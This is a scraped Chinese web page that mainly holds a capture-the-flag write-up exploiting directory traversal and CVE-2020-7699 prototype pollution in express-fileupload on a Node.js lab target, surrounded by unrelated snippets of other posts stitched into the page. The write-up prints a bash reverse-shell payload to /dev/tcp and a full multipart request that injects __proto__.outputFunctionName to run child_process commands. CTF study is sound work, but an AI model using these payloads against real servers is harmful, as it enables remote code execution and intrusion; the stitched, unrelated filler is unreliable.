河南郑州做网站的公司旅游网站制作方案

张小明 2026/1/10 9:19:41
河南郑州做网站的公司,旅游网站制作方案,免费招聘网站招聘,做led视频好的网站拿到靶机首先抓包观察用的是什么服务器和框架发现服务器是Nginx#xff0c;框架是PHP的express框架再用dirsearch扫一遍发现扫出了/static../意味着服务器存在配置错误#xff0c;导致了目录遍历漏洞。当服务器配置不当时#xff0c;特别是处理静态文件路径时#xff0c;攻…拿到靶机首先抓包观察用的是什么服务器和框架发现服务器是Nginx框架是PHP的express框架再用dirsearch扫一遍发现扫出了/static../意味着服务器存在配置错误导致了目录遍历漏洞。当服务器配置不当时特别是处理静态文件路径时攻击者可以利用../上级目录序列突破Web根目录限制访问到服务器上的任意文件。找到源代码app.js许多Web框架如Django、Flask、Express等默认采用/static/作为静态文件目录而源代码一般都为app.js/app.pyconst express require(express); const fileUpload require(express-fileupload); const app express(); app.use(fileUpload({ parseNested: true })); app.post(/4_pATh_y0u_CaNN07_Gu3ss, (req, res) { res.render(flag.ejs); }); app.get(/, (req, res) { res.render(index.ejs); }) app.listen(3000); app.on(listening, function() { console.log(Express server started on port %s at %s, server.address().port, server.address().address); });代码审计app.post(/4_pATh_y0u_CaNN07_Gu3ss, (req, res) { res.render(flag.ejs); });定义了一个POST路由路径是/4_pATh_y0u_CaNN07_Gu3ss当访问此路径时服务器会渲染flag.ejs文件。也许flag就在这个路径里用POST访问/4_pATh_y0u_CaNN07_Gu3ss看到flag在 flag.txt 中但是无法直接访问到 flag.txt再观察源代码app.use(fileUpload({ parseNested: true }));发现代码中使用了express-fileupload中间件且启用了parseNested: true选项也许这里存在CVE-2020-7699NodeJS模块代码注入但这个漏洞仅存在于express-fileupload版本低于1.1.9不包含在package.json中获取版本信息发现为1.1.7低于1.1.9确定存在CVE-2020-7699NodeJS模块代码注入CVE-2020-7699NodeJS模块代码注入漏洞成因express-fileupload中间件在处理文件上传时没有对参数名进行安全校验特别是当启用parseNested: true选项时允许通过特殊构造的参数名直接操作JavaScript对象的原型链。原型链污染攻击者可通过上传含有__proto__或constructor.prototype等特殊字段的文件污染Object的原型从而影响所有JavaScript对象。反弹shell通用payload如下x;process.mainModule.require(child_process).exec(bash -c bash -i /dev/tcp/ip/port 01);xip为公网ipport为探测端口文件复制payload如下:x;process.mainModule.require(child_process).exec(cp /flag.txt /app/static/js/flag.txt);xcpcopy命令用于复制文件基础文件操作/flag.txt源文件路径根目录下的flag文件目标flag所在位置/app/static/js/Web应用静态文件目录可公开访问的目录flag.txt复制后的文件名保持名称不变避免混淆初步探测一下观察是否有过滤构造报文Content-Type: multipart/form-data; boundary---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name__proto__.outputFunctionName x;console.log(TEST);x -----------------------------1546646991721295948201928333--成功返回看来没有过滤最终利用Content-Type: multipart/form-data; boundary---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name__proto__.outputFunctionName x;process.mainModule.require(child_process).exec(cp /flag.txt /app/static/js/flag.txt);x -----------------------------1546646991721295948201928333--发送该请求包后flag.txt将被复制到static/js下即可得到flag。curl http://61.147.171.103:58898/static/js/flag.txtcyberpeace{850ffa1d88ce047bcdcf34dbdbcd1e12}
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

网站总体设计方案网站开发 简单留言板

互联网大厂Java面试实录:谢飞机的AIGC求职之旅 记录一位Java程序员在互联网大厂的面试经历,从基础到进阶,从传统技术到AIGC前沿 面试场景背景 谢飞机,一名有3年Java开发经验的程序员,正在参加一家知名互联网公司的技术…

张小明 2025/12/31 21:00:27 网站建设

seo排名优化培训网站城市建设模拟游戏网站中文注解

系统地阐述了使用 Unreal Engine 5.4 与 NVIDIA Omniverse 构建高保真、低延迟数字孪生工厂的完整方案。其核心价值在于提出了一套集成了先进渲染、多源数据协同与实时数据同步的“虚实共生”体系。 实战指南的核心内容整理如下: 📋 核心内容导览章节核心…

张小明 2026/1/2 1:10:16 网站建设

专业建网站 成都安庆经济开发区人才网

8个降aigc工具推荐!研究生高效避坑指南 AI降重工具:研究生论文避坑新选择 在当前学术研究中,AI生成内容(AIGC)的广泛应用让许多研究生面临一个共同难题——如何有效降低论文的AI痕迹和查重率。无论是初稿还是定稿阶段&…

张小明 2026/1/10 8:00:56 网站建设

番禺市桥网站建设wordpress 多图上传插件

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

张小明 2026/1/2 1:26:50 网站建设

龙岗网站建设开发设计公司邢台住房和城乡建设部网站

罗技PUBG智能压枪系统实战指南:从零掌握精准射击 【免费下载链接】logitech-pubg PUBG no recoil script for Logitech gaming mouse / 绝地求生 罗技 鼠标宏 项目地址: https://gitcode.com/gh_mirrors/lo/logitech-pubg 还在为PUBG中武器的后坐力控制而困扰…

张小明 2026/1/9 10:02:53 网站建设

网站外包后百度降权app开发语言有哪些

abaqus 使用动力学 隐式dload 显示动vdload施加轨道移动荷载模拟浮轮轨荷载,置板轨道位移。 txt文档导入实测轮轨数据,随机轮轨数据。 左右轮轨分别设置不同独立轮轨荷载数据。 教学视频最近在折腾轨道交通轮轨接触的仿真,发现用Abaqus处理移…

张小明 2025/12/31 17:16:23 网站建设